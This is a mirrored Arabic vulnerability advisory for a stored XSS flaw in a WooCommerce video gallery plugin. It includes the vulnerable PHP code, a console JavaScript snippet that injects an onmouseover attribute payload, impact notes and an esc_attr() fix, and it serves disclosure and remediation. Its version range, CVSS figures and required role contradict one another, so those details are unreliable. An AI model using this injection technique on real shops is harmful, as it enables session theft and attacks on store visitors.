Skip to content
KitploitKITPLOIT
أدواتالمدونة
إرسال
أدواتالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

··الخلاصات·اتصال·الخصوصية·© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
CVE-2026-10104-POC — معرض فيديو المنتج لـ WooCommerce <= 1.5.1.8 - Cross-Site Scripting مخزنة ومصدقة - إثبات المفهوم | Kitploit
أدوات/GitHubGitHub/ravi-lk/cve-2026-10104-poc
تحليل الثغرات الأمنيةالاستغلالاستغلال تطبيقات الويبأمن الويباختبار الاختراقالتعلم والتعليم
GitHubravi-lk/cve-2026-10104-poc

CVE-2026-10104-POC

معرض فيديو المنتج لـ WooCommerce <= 1.5.1.8 - Cross-Site Scripting مخزنة ومصدقة - إثبات المفهوم

عرض المستودع
2منذ شهر واحدلم تتم المراجعة بعد

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة

CVE-2026-10104: البرمجة النصية عبر المواقع المخزنة في Product Video Gallery for WooCommerce

ملخص

التفاصيلالقيمة
CVE IDCVE-2026-10104
البرنامج الإضافيProduct Video Gallery for WooCommerce
المورّدTechnoSoft Webs (NikHiL Gadhiya)
النوعالبرمجة النصية عبر المواقع المخزنة (XSS)
CWECWE-79 — تحييد غير صحيح للمدخلات أثناء إنشاء صفحة الويب
CVSS 3.14.4 (متوسط)
الإصدارات المتأثرة≤ 1.5.1.6
الإصدار الثابت1.5.1.9
يتطلب المصادقةنعم — المساهم+ (أي دور يمكنه تحرير المنتجات)
اكتشفهRavindu Lakmina Munaweera

الوصف

البرنامج الإضافي Product Video Gallery for WooCommerce لووردبريس (الإصدارات حتى 1.5.1.6) عرضة لـ البرمجة النصية عبر المواقع المخزنة (XSS) عبر معامل custom_thumbnail الخاص ببيانات المنتج.

طريقة save_wc_video_url_field() في البرنامج الإضافي تنظف معامل POST custom_thumbnail[] باستخدام sanitize_text_field()، الذي يزيل وسوم HTML ولكنه لا يزيل علامات الاقتباس المزدوجة ("). في الواجهة الأمامية، يتم إدراج القيمة المخزنة مباشرة في سمات وسم `` في nickx_get_video_thumbanil_html() دون استخدام esc_attr() للتهريب. يسمح ذلك لمهاجم موثق بحقن سمات معالج أحداث HTML تعسفية (مثل onmouseover, onerror) تنفذ JavaScript في متصفح أي زائر — بما في ذلك المستخدمين غير الموثقين — يشاهد صفحة المنتج المتأثرة.


متجه CVSS 3.1

root@kitploit:~
CVSS:3.1/AV:N/AC:H/PR:H/UI:N/S:C/C:L/I:L/A:N

الكود المتأثر

المصدر (المخرجات — بدون تهريب)

الملف: public/class-rendering.php
الطريقة: nickx_get_video_thumbanil_html()

root@kitploit:~
// Line 365 — value inserted without esc_attr()
$custom_thumbnail = isset($custom_thumbnails[$key]) && !empty($product_video_thumb_id) 
    ? 'custom_thumbnail="' . $custom_thumbnails[$key] . '"' 
    : '';

// Line 379 — rendered inside  tag on the public frontend
echo '';

المصدر (الحفظ — تنظيف غير كاف)

الملف: admin/class-video-field.php
الطريقة: save_wc_video_url_field()

root@kitploit:~
// Line 309-310 — sanitize_text_field() strips tags but NOT double quotes
if ( isset( $_POST['custom_thumbnail'] ) ) {
    update_post_meta( $post_id, '_custom_thumbnail', 
        array_map( 'sanitize_text_field', $_POST['custom_thumbnail'] ) );
}

إثبات المفهوم

المتطلبات الأساسية

  • ووردبريس مع WooCommerce مثبت
  • البرنامج الإضافي: Product Video Gallery for WooCommerce ≤ 1.5.1.6
  • منتج WooCommerce مع رابط فيديو يوتيوب مهيأ
  • حساب مع صلاحيات تحرير المنتجات (مدير المتجر، مؤلف، إلخ)

خطوات إعادة الإنتاج

  1. سجل الدخول كـ مدير متجر (مهاجم).

  2. انتقل إلى المنتجات → تحرير أي منتج مع رابط فيديو مضبوط في حقل "Product Video Url".

  3. افتح أدوات المطور في المتصفح (F12) → علامة تبويب الكونسول.

  4. الصق ونفذ JavaScript التالية:

root@kitploit:~
const form = document.getElementById('post');

// Set thumbnail ID to a non-empty value (required by render condition)
const thumbInput = document.querySelector('input[name="product_video_thumb_url[]"]');
if (thumbInput) { thumbInput.value = '99999'; }

// Inject XSS payload via custom_thumbnail
const ct = document.createElement('input');
ct.type = 'hidden';
ct.name = 'custom_thumbnail[]';
ct.value = "yes\" onmouseover=\"alert('xss identified by Ravindu')";
form.appendChild(ct);
  1. انقر على "Update" لحفظ المنتج.

  2. افتح صفحة المنتج في الواجهة الأمامية في نافذة خاصة/متصفح التصفح الخاص (غير موثق).

  3. حرك المؤشر فوق الصورة المصغرة للفيديو في معرض المنتج.

  4. ✅ يتم تنفيذ تنبيه JavaScript، مما يؤكد وجود XSS مخزنة.

صورة صورة

المخرجات المعروضة

root@kitploit:~

يغلق " المحقون سمة custom_thumbnail، ويصبح onmouseover سمة قابلة للتنفيذ جديدة على عنصر ``.


التأثير

  • يتم تنفيذ XSS المخزنة في الواجهة الأمامية العامة لجميع الزوار، بما في ذلك المستخدمين غير الموثقين
  • يمكن للمهاجمين سرقة ملفات تعريف ارتباط الجلسة واختطاف حسابات المسؤولين
  • يمكن للمهاجمين إعادة توجيه العملاء إلى مواقع التصيد أو توزيع البرامج الضارة
  • يمكن للمهاجمين تشويه صفحات المنتجات أو حقن عمال منجم العملات الرقمية
  • يتطلب الوصول إلى مستوى المساهم فقط لاستغلاله

المعالجة

طبق esc_attr() على قيمة الصورة المصغرة المخصصة قبل إدراجها في سمة HTML:

root@kitploit:~
- $custom_thumbnail = isset($custom_thumbnails[$key]) && !empty($product_video_thumb_id) 
-     ? 'custom_thumbnail="' . $custom_thumbnails[$key] . '"' 
-     : '';
+ $custom_thumbnail = isset($custom_thumbnails[$key]) && !empty($product_video_thumb_id) 
+     ? 'custom_thumbnail="' . esc_attr($custom_thumbnails[$key]) . '"' 
+     : '';

يجب تطبيق نفس الإصلاح على جميع الحالات في nickx_get_video_thumbanil_html() حيث يتم إنشاء $custom_thumbnail (كل من مسارات الكود للمصفوفة وغير المصفوفة).


الجدول الزمني للإفصاح

التاريخالحدث
2026-03-20اكتشاف الثغرة
2026-03-20الإبلاغ إلى Wordfence (CNA)
2026-05-29تخصيص CVE ID: CVE-2026-10104
2026-07-01الإفصاح العام

الاعتمادات

  • اكتشفه: Ravindu Lakmina Munaweera
  • خصص CVE بواسطة: Wordfence (CNA)
  • CVE ORG

المراجع

  • CVE-2026-10104
  • صفحة البرنامج الإضافي لووردبريس
  • مدخل قاعدة بيانات الثغرات في Wordfence
  • CWE-79: البرمجة النصية عبر المواقع
  • ورقة غش الوقاية من XSS من OWASP

الترخيص

هذا الإشعار صادر بموجب CC BY 4.0.

تنزيل الأداة
المقياسالقيمة
ناقل الهجومالشبكة
تعقيد الهجوممنخفض
الصلاحيات المطلوبةمنخفضة
تفاعل المستخدملا شيء
النطاقمتغير
تأثير السريةمنخفض
تأثير التكاملمنخفض
تأثير التوفرلا شيء